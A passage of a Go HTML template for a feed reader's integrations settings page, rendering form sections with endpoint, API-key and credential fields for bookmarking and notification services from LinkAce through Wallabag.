}}\n            </label>\n\n            <label for=\"form-instapaper-username\">{{ t \"form.integration.instapaper_username\" }}</label>\n            <input type=\"text\" name=\"instapaper_username\" id=\"form-instapaper-username\" value=\"{{ .form.InstapaperUsername }}\" spellcheck=\"false\">\n\n            <label for=\"form-instapaper-password\">{{ t \"form.integration.instapaper_password\" }}</label>\n            <input type=\"password\" name=\"instapaper_password\" id=\"form-instapaper-password\" value=\"{{ .form.InstapaperPassword }}\" autocomplete=\"new-password\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.LinkAceEnabled }}open{{ end }}>\n        <summary>LinkAce</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"linkace_enabled\" value=\"1\" {{ if .form.LinkAceEnabled }}checked{{ end }}> {{ t \"form.integration.linkace_activate\" }}\n            </label>\n\n            <label for=\"form-linkace-url\">{{ t \"form.integration.linkace_endpoint\" }}</label>\n            <input type=\"url\" name=\"linkace_url\" id=\"form-linkace-url\" value=\"{{ .form.LinkAceURL }}\" placeholder=\"http://linkace-url:port\" spellcheck=\"false\">\n\n            <label for=\"form-linkace-api-key\">{{ t \"form.integration.linkace_api_key\" }}</label>\n            <input type=\"text\" name=\"linkace_api_key\" id=\"form-linkace-api-key\" value=\"{{ .form.LinkAceAPIKey }}\" spellcheck=\"false\">\n\n            <label for=\"form-linkace-tags\">{{ t \"form.integration.linkace_tags\" }}</label>\n            <input type=\"text\" name=\"linkace_tags\" id=\"form-linkace-tags\" value=\"{{ .form.LinkAceTags }}\" spellcheck=\"false\">\n\n            <label>\n                <input type=\"checkbox\" name=\"linkace_is_private\" value=\"1\" {{ if .form.LinkAcePrivate }}checked{{ end }}> {{ t \"form.integration.linkace_is_private\" }}\n            </label>\n\n            <label>\n                <input type=\"checkbox\" name=\"linkace_check_disabled\" value=\"1\" {{ if .form.LinkAceCheckDisabled }}checked{{ end }}> {{ t \"form.integration.linkace_check_disabled\" }}\n            </label>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.LinkdingEnabled }}open{{ end }}>\n        <summary>Linkding</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"linkding_enabled\" value=\"1\" {{ if .form.LinkdingEnabled }}checked{{ end }}> {{ t \"form.integration.linkding_activate\" }}\n            </label>\n\n            <label for=\"form-linkding-url\">{{ t \"form.integration.linkding_endpoint\" }}</label>\n            <input type=\"url\" name=\"linkding_url\" id=\"form-linkding-url\" value=\"{{ .form.LinkdingURL }}\" placeholder=\"https://linkding.com\" spellcheck=\"false\">\n\n            <label for=\"form-linkding-api-key\">{{ t \"form.integration.linkding_api_key\" }}</label>\n            <input type=\"text\" name=\"linkding_api_key\" id=\"form-linkding-api-key\" value=\"{{ .form.LinkdingAPIKey }}\" spellcheck=\"false\">\n\n            <label for=\"form-linkding-tags\">{{ t \"form.integration.linkding_tags\" }}</label>\n            <input type=\"text\" name=\"linkding_tags\" id=\"form-linkding-tags\" value=\"{{ .form.LinkdingTags }}\" spellcheck=\"false\">\n\n            <label>\n                <input type=\"checkbox\" name=\"linkding_mark_as_unread\" value=\"1\" {{ if .form.LinkdingMarkAsUnread }}checked{{ end }}> {{ t \"form.integration.linkding_bookmark\" }}\n            </label>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.LinktacoEnabled }}open{{ end }}>\n        <summary>LinkTaco</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"linktaco_enabled\" value=\"1\" {{ if .form.LinktacoEnabled }}checked{{ end }}> {{ t \"form.integration.linktaco_activate\" }}\n            </label>\n\n            <label for=\"form-linktaco-api-token\">{{ t \"form.integration.linktaco_api_token\" }}</label>\n            <input type=\"password\" name=\"linktaco_api_token\" id=\"form-linktaco-api-token\" value=\"{{ .form.LinktacoAPIToken }}\" spellcheck=\"false\">\n            <p class=\"hint\">{{ t \"form.integration.linktaco_api_token_hint\" }} <a href=\"https://linktaco.com/oauth2/personal\" target=\"_blank\" rel=\"noopener noreferrer\">https://linktaco.com/oauth2/personal</a></p>\n\n            <label for=\"form-linktaco-org-slug\">{{ t \"form.integration.linktaco_org_slug\" }}</label>\n            <input type=\"text\" name=\"linktaco_org_slug\" id=\"form-linktaco-org-slug\" value=\"{{ .form.LinktacoOrgSlug }}\" placeholder=\"my-organization\" spellcheck=\"false\">\n\n            <label for=\"form-linktaco-tags\">{{ t \"form.integration.linktaco_tags\" }}</label>\n            <input type=\"text\" name=\"linktaco_tags\" id=\"form-linktaco-tags\" value=\"{{ .form.LinktacoTags }}\" placeholder=\"miniflux, bookmarks\" spellcheck=\"false\">\n            <p class=\"hint\">{{ t \"form.integration.linktaco_tags_hint\" }}</p>\n\n            <label for=\"form-linktaco-visibility\">{{ t \"form.integration.linktaco_visibility\" }}</label>\n            <select name=\"linktaco_visibility\" id=\"form-linktaco-visibility\">\n                <option value=\"PUBLIC\" {{ if eq .form.LinktacoVisibility \"PUBLIC\" }}selected{{ end }}>{{ t \"form.integration.linktaco_visibility_public\" }}</option>\n                <option value=\"PRIVATE\" {{ if eq .form.LinktacoVisibility \"PRIVATE\" }}selected{{ end }}>{{ t \"form.integration.linktaco_visibility_private\" }}</option>\n            </select>\n            <p class=\"hint\">{{ t \"form.integration.linktaco_visibility_hint\" }}</p>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.LinkwardenEnabled }}open{{ end }}>\n        <summary>Linkwarden</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"linkwarden_enabled\" value=\"1\" {{ if .form.LinkwardenEnabled }}checked{{ end }}> {{ t \"form.integration.linkwarden_activate\" }}\n            </label>\n\n            <label for=\"form-linkwarden-url\">{{ t \"form.integration.linkwarden_endpoint\" }}</label>\n            <input type=\"url\" name=\"linkwarden_url\" id=\"form-linkwarden-url\" value=\"{{ .form.LinkwardenURL }}\" placeholder=\"https://linkwarden.app\" spellcheck=\"false\">\n\n            <label for=\"form-linkwarden-api-key\">{{ t \"form.integration.linkwarden_api_key\" }}</label>\n            <input type=\"text\" name=\"linkwarden_api_key\" id=\"form-linkwarden-api-key\" value=\"{{ .form.LinkwardenAPIKey }}\" spellcheck=\"false\">\n\n            <label for=\"form-linkwarden-collection-id\">{{ t \"form.integration.linkwarden_collection_id\" }}</label>\n            <input type=\"number\" name=\"linkwarden_collection_id\" id=\"form-linkwarden-collection-id\" {{ if .form.LinkwardenCollectionID }}value=\"{{ .form.LinkwardenCollectionID }}\"{{ end }} spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.MatrixBotEnabled }}open{{ end }}>\n        <summary>Matrix Bot</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"matrix_bot_enabled\" value=\"1\" {{ if .form.MatrixBotEnabled }}checked{{ end }}> {{ t \"form.integration.matrix_bot_activate\" }}\n            </label>\n\n            <label for=\"form-matrix-bot-user\">{{ t \"form.integration.matrix_bot_user\" }}</label>\n            <input type=\"text\" name=\"matrix_bot_user\" id=\"form-matrix-bot-user\" value=\"{{ .form.MatrixBotUser }}\" spellcheck=\"false\">\n\n            <label for=\"form-matrix-password\">{{ t \"form.integration.matrix_bot_password\" }}</label>\n            <input type=\"password\" name=\"matrix_bot_password\" id=\"form-matrix-password\" value=\"{{ .form.MatrixBotPassword }}\" spellcheck=\"false\">\n\n            <label for=\"form-matrix-url\">{{ t \"form.integration.matrix_bot_url\" }}</label>\n            <input type=\"url\" name=\"matrix_bot_url\" id=\"form-matrix-url\" value=\"{{ .form.MatrixBotURL }}\" spellcheck=\"false\">\n\n            <label for=\"form-matrix-chat-id\">{{ t \"form.integration.matrix_bot_chat_id\" }}</label>\n            <input type=\"text\" name=\"matrix_bot_chat_id\" id=\"form-matrix-chat-id\" value=\"{{ .form.MatrixBotChatID }}\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.NotionEnabled }}open{{ end }}>\n        <summary>Notion</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"notion_enabled\" value=\"1\" {{ if .form.NotionEnabled }}checked{{ end }}> {{ t \"form.integration.notion_activate\" }}\n            </label>\n\n            <label for=\"form-notion-token\">{{ t \"form.integration.notion_token\" }}</label>\n            <input type=\"password\" name=\"notion_token\" id=\"form-notion-token\" value=\"{{ .form.NotionToken }}\" spellcheck=\"false\">\n\n            <label for=\"form-notion-page-id\">{{ t \"form.integration.notion_page_id\" }}</label>\n            <input type=\"text\" name=\"notion_page_id\" id=\"form-notion-page-id\" value=\"{{ .form.NotionPageID }}\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.NtfyEnabled }}open{{ end }}>\n        <summary>Ntfy</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"ntfy_enabled\" value=\"1\" {{ if .form.NtfyEnabled }}checked{{ end }}> {{ t \"form.integration.ntfy_activate\" }}\n            </label>\n\n            <label for=\"form-ntfy-topic\">{{ t \"form.integration.ntfy_topic\" }}</label>\n            <input type=\"text\" name=\"ntfy_topic\" id=\"form-ntfy-topic\" value=\"{{ .form.NtfyTopic }}\" spellcheck=\"false\">\n\n            <label for=\"form-ntfy-url\">{{ t \"form.integration.ntfy_url\" }}</label>\n            <input type=\"url\" name=\"ntfy_url\" id=\"form-ntfy-url\" value=\"{{ .form.NtfyURL }}\" placeholder=\"https://ntfy.sh\" spellcheck=\"false\">\n\n            <label for=\"form-ntfy-api-token\">{{ t \"form.integration.ntfy_api_token\" }}</label>\n            <input type=\"text\" name=\"ntfy_api_token\" id=\"form-ntfy-api-token\" value=\"{{ .form.NtfyAPIToken }}\" spellcheck=\"false\">\n\n            <label for=\"form-ntfy-username\">{{ t \"form.integration.ntfy_username\" }}</label>\n            <input type=\"text\" name=\"ntfy_username\" id=\"form-ntfy-username\" value=\"{{ .form.NtfyUsername }}\" spellcheck=\"false\">\n\n            <label for=\"form-ntfy-password\">{{ t \"form.integration.ntfy_password\" }}</label>\n            <input type=\"text\" name=\"ntfy_password\" id=\"form-ntfy-password\" value=\"{{ .form.NtfyPassword }}\" spellcheck=\"false\">\n\n            <label for=\"form-ntfy-icon-url\">{{ t \"form.integration.ntfy_icon_url\" }}</label>\n            <input type=\"url\" name=\"ntfy_icon_url\" id=\"form-ntfy-icon-url\" value=\"{{ .form.NtfyIconURL }}\" spellcheck=\"false\">\n\n            <label>\n                <input type=\"checkbox\" name=\"ntfy_internal_links\" value=\"1\" {{ if .form.NtfyInternalLinks }}checked{{ end }}> {{ t \"form.integration.ntfy_internal_links\" }}\n            </label>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.NunuxKeeperEnabled }}open{{ end }}>\n        <summary>Nunux Keeper</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"nunux_keeper_enabled\" value=\"1\" {{ if .form.NunuxKeeperEnabled }}checked{{ end }}> {{ t \"form.integration.nunux_keeper_activate\" }}\n            </label>\n\n            <label for=\"form-nunux-keeper-url\">{{ t \"form.integration.nunux_keeper_endpoint\" }}</label>\n            <input type=\"url\" name=\"nunux_keeper_url\" id=\"form-nunux-keeper-url\" value=\"{{ .form.NunuxKeeperURL }}\" placeholder=\"https://api.nunux.org/keeper\" spellcheck=\"false\">\n\n            <label for=\"form-nunux-keeper-api-key\">{{ t \"form.integration.nunux_keeper_api_key\" }}</label>\n            <input type=\"text\" name=\"nunux_keeper_api_key\" id=\"form-nunux-keeper-api-key\" value=\"{{ .form.NunuxKeeperAPIKey }}\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.OmnivoreEnabled }}open{{ end }}>\n        <summary>Omnivore</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"omnivore_enabled\" value=\"1\" {{ if .form.OmnivoreEnabled }}checked{{ end }}> {{ t \"form.integration.omnivore_activate\" }}\n            </label>\n\n            <label for=\"form-omnivore-api-key\">{{ t \"form.integration.omnivore_api_key\" }}</label>\n            <input type=\"text\" name=\"omnivore_api_key\" id=\"form-omnivore-api-key\" value=\"{{ .form.OmnivoreAPIKey }}\" spellcheck=\"false\">\n\n            <label for=\"form-omnivore-url\">{{ t \"form.integration.omnivore_url\" }}</label>\n            <input type=\"url\" name=\"omnivore_url\" id=\"form-omnivore-url\" value=\"{{ .form.OmnivoreURL }}\" placeholder=\"https://api-prod.omnivore.app/api/graphql\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.KarakeepEnabled }}open{{ end }}>\n        <summary>Karakeep</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"karakeep_enabled\" value=\"1\" {{ if .form.KarakeepEnabled }}checked{{ end }}> {{ t \"form.integration.karakeep_activate\" }}\n            </label>\n\n            <label for=\"form-karakeep-api-key\">{{ t \"form.integration.karakeep_api_key\" }}</label>\n            <input type=\"text\" name=\"karakeep_api_key\" id=\"form-karakeep-api-key\" value=\"{{ .form.KarakeepAPIKey }}\" spellcheck=\"false\">\n\n            <label for=\"form-karakeep-url\">{{ t \"form.integration.karakeep_url\" }}</label>\n            <input type=\"url\" name=\"karakeep_url\" id=\"form-karakeep-url\" value=\"{{ .form.KarakeepURL }}\" placeholder=\"https://try.karakeep.app/api/v1/bookmarks\" spellcheck=\"false\">\n\n            <label for=\"form-karakeep-tags\">{{ t \"form.integration.karakeep_tags\" }}</label>\n            <input type=\"text\" name=\"karakeep_tags\" id=\"form-karakeep-tags\" value=\"{{ .form.KarakeepTags }}\" placeholder=\"miniflux, new\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.PinboardEnabled }}open{{ end }}>\n        <summary>Pinboard</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"pinboard_enabled\" value=\"1\" {{ if .form.PinboardEnabled }}checked{{ end }}> {{ t \"form.integration.pinboard_activate\" }}\n            </label>\n\n            <label for=\"form-pinboard-token\">{{ t \"form.integration.pinboard_token\" }}</label>\n            <input type=\"password\" name=\"pinboard_token\" id=\"form-pinboard-token\" value=\"{{ .form.PinboardToken }}\" autocomplete=\"new-password\">\n\n            <label for=\"form-pinboard-tags\">{{ t \"form.integration.pinboard_tags\" }}</label>\n            <input type=\"text\" name=\"pinboard_tags\" id=\"form-pinboard-tags\" value=\"{{ .form.PinboardTags }}\" spellcheck=\"false\">\n\n            <label>\n                <input type=\"checkbox\" name=\"pinboard_mark_as_unread\" value=\"1\" {{ if .form.PinboardMarkAsUnread }}checked{{ end }}> {{ t \"form.integration.pinboard_bookmark\" }}\n            </label>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.PushoverEnabled }}open{{ end }}>\n        <summary>Pushover</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"pushover_enabled\" value=\"1\" {{ if .form.PushoverEnabled }}checked{{ end }}> {{ t \"form.integration.pushover_activate\" }}\n            </label>\n\n            <label for=\"form-pushover-token\">{{ t \"form.integration.pushover_token\" }}</label>\n            <input type=\"text\" name=\"pushover_token\" id=\"form-pushover-token\" value=\"{{ .form.PushoverToken }}\" spellcheck=\"false\">\n\n            <label for=\"form-pushover-user\">{{ t \"form.integration.pushover_user\" }}</label>\n            <input type=\"text\" name=\"pushover_user\" id=\"form-pushover-user\" value=\"{{ .form.PushoverUser }}\" spellcheck=\"false\">\n\n            <label for=\"form-pushover-device\">{{ t \"form.integration.pushover_device\" }}</label>\n            <input type=\"text\" name=\"pushover_device\" id=\"form-pushover-device\" value=\"{{ .form.PushoverDevice }}\" spellcheck=\"false\">\n\n            <label for=\"form-pushover-prefix\">{{ t \"form.integration.pushover_prefix\" }}</label>\n            <input type=\"text\" name=\"pushover_prefix\" id=\"form-pushover-prefix\" value=\"{{ .form.PushoverPrefix }}\" spellcheck=\"false\" placeholder=\"https://api.pushover.net\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.RaindropEnabled }}open{{ end }}>\n        <summary>Raindrop</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"raindrop_enabled\" value=\"1\" {{ if .form.RaindropEnabled }}checked{{ end }}> {{ t \"form.integration.raindrop_activate\" }}\n            </label>\n\n            <label for=\"form-raindrop-token\">{{ t \"form.integration.raindrop_token\" }}</label>\n            <input type=\"text\" name=\"raindrop_token\" id=\"form-raindrop-token\" value=\"{{ .form.RaindropToken }}\" spellcheck=\"false\">\n\n            <label for=\"form-raindrop-collection-id\">{{ t \"form.integration.raindrop_collection_id\" }}</label>\n            <input type=\"text\" name=\"raindrop_collection_id\" id=\"form-raindrop-collection-id\" value=\"{{ .form.RaindropCollectionID }}\" spellcheck=\"false\">\n\n            <label for=\"form-raindrop-tags\">{{ t \"form.integration.raindrop_tags\" }}</label>\n            <input type=\"text\" name=\"raindrop_tags\" id=\"form-raindrop-tags\" value=\"{{ .form.RaindropTags }}\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.ReadeckEnabled }}open{{ end }}>\n        <summary>Readeck</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"readeck_enabled\" value=\"1\" {{ if .form.ReadeckEnabled }}checked{{ end }}> {{ t \"form.integration.readeck_activate\" }}\n            </label>\n\n            <label>\n                <input type=\"checkbox\" name=\"readeck_push_enabled\" value=\"1\" {{ if .form.ReadeckPushEnabled }}checked{{ end }}> {{ t \"form.integration.readeck_push_activate\" }}\n            </label>\n\n            <label>\n                <input type=\"checkbox\" name=\"readeck_only_url\" value=\"1\" {{ if .form.ReadeckOnlyURL }}checked{{ end }}> {{ t \"form.integration.readeck_only_url\" }}\n            </label>\n\n            <label for=\"form-readeck-url\">{{ t \"form.integration.readeck_endpoint\" }}</label>\n            <input type=\"url\" name=\"readeck_url\" id=\"form-readeck-url\" value=\"{{ .form.ReadeckURL }}\" placeholder=\"https://readeck.com\" spellcheck=\"false\">\n\n            <label for=\"form-readeck-api-key\">{{ t \"form.integration.readeck_api_key\" }}</label>\n            <input type=\"text\" name=\"readeck_api_key\" id=\"form-readeck-api-key\" value=\"{{ .form.ReadeckAPIKey }}\" spellcheck=\"false\">\n\n            <label for=\"form-readeck-labels\">{{ t \"form.integration.readeck_labels\" }}</label>\n            <input type=\"text\" name=\"readeck_labels\" id=\"form-readeck-labels\" value=\"{{ .form.ReadeckLabels }}\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.ReadwiseEnabled }}open{{ end }}>\n        <summary>Readwise Reader</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"readwise_enabled\" value=\"1\" {{ if .form.ReadwiseEnabled }}checked{{ end }}> {{ t \"form.integration.readwise_activate\" }}\n            </label>\n\n            <label for=\"form-readwise-api-key\">{{ t \"form.integration.readwise_api_key\" }}</label>\n            <input type=\"text\" name=\"readwise_api_key\" id=\"form-readwise-api-key\" value=\"{{ .form.ReadwiseAPIKey }}\" spellcheck=\"false\">\n\n            <p><a href=\"https://readwise.io/access_token\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>{{ t \"form.integration.readwise_api_key_link\" }}</a></p>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.RSSBridgeEnabled }}open{{ end }}>\n        <summary>RSS-Bridge</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"rssbridge_enabled\" value=\"1\" {{ if .form.RSSBridgeEnabled }}checked{{ end }}> {{ t \"form.integration.rssbridge_activate\" }}\n            </label>\n\n            <label for=\"form-rssbridge-url\">{{ t \"form.integration.rssbridge_url\" }}</label>\n            <input type=\"url\" name=\"rssbridge_url\" id=\"form-rssbridge-url\" value=\"{{ .form.RSSBridgeURL }}\" spellcheck=\"false\">\n\n            <label for=\"form-rssbridge-token\">{{ t \"form.integration.rssbridge_token\" }}</label>\n            <input type=\"password\" name=\"rssbridge_token\" id=\"form-rssbridge-token\" value=\"{{ .form.RSSBridgeToken }}\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.ShaarliEnabled }}open{{ end }}>\n        <summary>Shaarli</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"shaarli_enabled\" value=\"1\" {{ if .form.ShaarliEnabled }}checked{{ end }}> {{ t \"form.integration.shaarli_activate\" }}\n            </label>\n\n            <label for=\"form-shaarli-url\">{{ t \"form.integration.shaarli_endpoint\" }}</label>\n            <input type=\"url\" name=\"shaarli_url\" id=\"form-shaarli-url\" value=\"{{ .form.ShaarliURL }}\" placeholder=\"https://shaarli.example.org\" spellcheck=\"false\">\n\n            <label for=\"form-shaarli-api-secret\">{{ t \"form.integration.shaarli_api_secret\" }}</label>\n            <input type=\"password\" name=\"shaarli_api_secret\" id=\"form-shaarli-api-secret\" value=\"{{ .form.ShaarliAPISecret }}\" autocomplete=\"new-password\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.ShioriEnabled }}open{{ end }}>\n        <summary>Shiori</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"shiori_enabled\" value=\"1\" {{ if .form.ShioriEnabled }}checked{{ end }}> {{ t \"form.integration.shiori_activate\" }}\n            </label>\n\n            <label for=\"form-shiori-url\">{{ t \"form.integration.shiori_endpoint\" }}</label>\n            <input type=\"url\" name=\"shiori_url\" id=\"form-shiori-url\" value=\"{{ .form.ShioriURL }}\" placeholder=\"https://shiori.example.org\" spellcheck=\"false\">\n\n            <label for=\"form-shiori-username\">{{ t \"form.integration.shiori_username\" }}</label>\n            <input type=\"text\" name=\"shiori_username\" id=\"form-shiori-username\" value=\"{{ .form.ShioriUsername }}\" spellcheck=\"false\">\n\n            <label for=\"form-shiori-password\">{{ t \"form.integration.shiori_password\" }}</label>\n            <input type=\"password\" name=\"shiori_password\" id=\"form-shiori-password\" value=\"{{ .form.ShioriPassword }}\" autocomplete=\"new-password\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.SlackEnabled }}open{{ end }}>\n        <summary>Slack</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"slack_enabled\" value=\"1\" {{ if .form.SlackEnabled }}checked{{ end }}> {{ t \"form.integration.slack_activate\" }}\n            </label>\n\n            <label for=\"form-slack-webhook-link\">{{ t \"form.integration.slack_webhook_link\" }}</label>\n            <input type=\"url\" name=\"slack_webhook_link\" id=\"form-slack-webhook-link\" value=\"{{ .form.SlackWebhookLink }}\" placeholder=\"https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.TelegramBotEnabled }}open{{ end }}>\n        <summary>Telegram Bot</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"telegram_bot_enabled\" value=\"1\" {{ if .form.TelegramBotEnabled }}checked{{ end }}> {{ t \"form.integration.telegram_bot_activate\" }}\n            </label>\n\n            <label for=\"form-telegram-bot-token\">{{ t \"form.integration.telegram_bot_token\" }}</label>\n            <input type=\"text\" name=\"telegram_bot_token\" id=\"form-telegram-bot-token\" value=\"{{ .form.TelegramBotToken }}\" placeholder=\"bot123456:Abcdefg\" spellcheck=\"false\">\n\n            <label for=\"form-telegram-chat-id\">{{ t \"form.integration.telegram_chat_id\" }}</label>\n            <input type=\"text\" name=\"telegram_bot_chat_id\" id=\"form-telegram-chat-id\" value=\"{{ .form.TelegramBotChatID }}\" spellcheck=\"false\">\n\n            <label for=\"form-telegram-topic-id\">{{ t \"form.integration.telegram_topic_id\" }}</label>\n            <input type=\"number\" name=\"telegram_bot_topic_id\" id=\"form-telegram-topic-id\" {{ if .form.TelegramBotTopicID }}value=\"{{ .form.TelegramBotTopicID }}\"{{ end }}>\n\n            <label>\n                <input type=\"checkbox\" name=\"telegram_bot_disable_web_page_preview\" value=\"1\" {{ if .form.TelegramBotDisableWebPagePreview }}checked{{ end }}> {{ t \"form.integration.telegram_bot_disable_web_page_preview\" }}\n            </label>\n\n            <label>\n                <input type=\"checkbox\" name=\"telegram_bot_disable_notification\" value=\"1\" {{ if .form.TelegramBotDisableNotification }}checked{{ end }}> {{ t \"form.integration.telegram_bot_disable_notification\" }}\n            </label>\n\n            <label>\n                <input type=\"checkbox\" name=\"telegram_bot_disable_buttons\" value=\"1\" {{ if .form.TelegramBotDisableButtons }}checked{{ end }}> {{ t \"form.integration.telegram_bot_disable_buttons\" }}\n            </label>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.WallabagEnabled }}open{{ end }}>\n        <summary>Wallabag</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"wallabag_enabled\" value=\"1\" {{ if .form.WallabagEnabled }}checked{{ end }}> {{ t \"form.integration.wallabag_activate\" }}\n            </label>\n\n            <label>\n                <input type=\"checkbox\" name=\"wallabag_only_url\" value=\"1\" {{ if .form.WallabagOnlyURL }}checked{{ end }}> {{ t \"form.integration.wallabag_only_url\" }}\n            </label>\n\n            <label for=\"form-wallabag-url\">{{ t \"form.integration.wallabag_endpoint\" }}</label>\n            <input type=\"url\" name=\"wallabag_url\" id=\"form-wallabag-url\" value=\"{{ .form.WallabagURL }}\" spellcheck=\"false\">\n\n            <label for=\"form-wallabag-client-id\">{{ t \"form.integration.wallabag_client_id\" }}</label>\n            <input type=\"text\" name=\"wallabag_client_id\" id=\"form-wallabag-client-id\" value=\"{{ .form.WallabagClientID }}\" spellcheck=\"false\">\n\n            <label for=\"form-wallabag-client-secret\">{{ t \"form.integration.wallabag_client_secret\" }}</label>\n            <input type=\"password\" name=\"wallabag_client_secret\" id=\"form-wallabag-client-secret\" value=\"{{ .form.WallabagClientSecret }}\" autocomplete=\"new-password\">\n\n            <label for=\"form-wallabag-username\">{{ t \"form.integration.wallabag_username\" }}</label>\n            <input type=\"text\" name=\"wallabag_username\" id=\"form-wallabag-username\" value=\"{{ .form.WallabagUsername }}\" spellcheck=\"false\">\n\n            <label for=\"form-wallabag-password\">{{ t 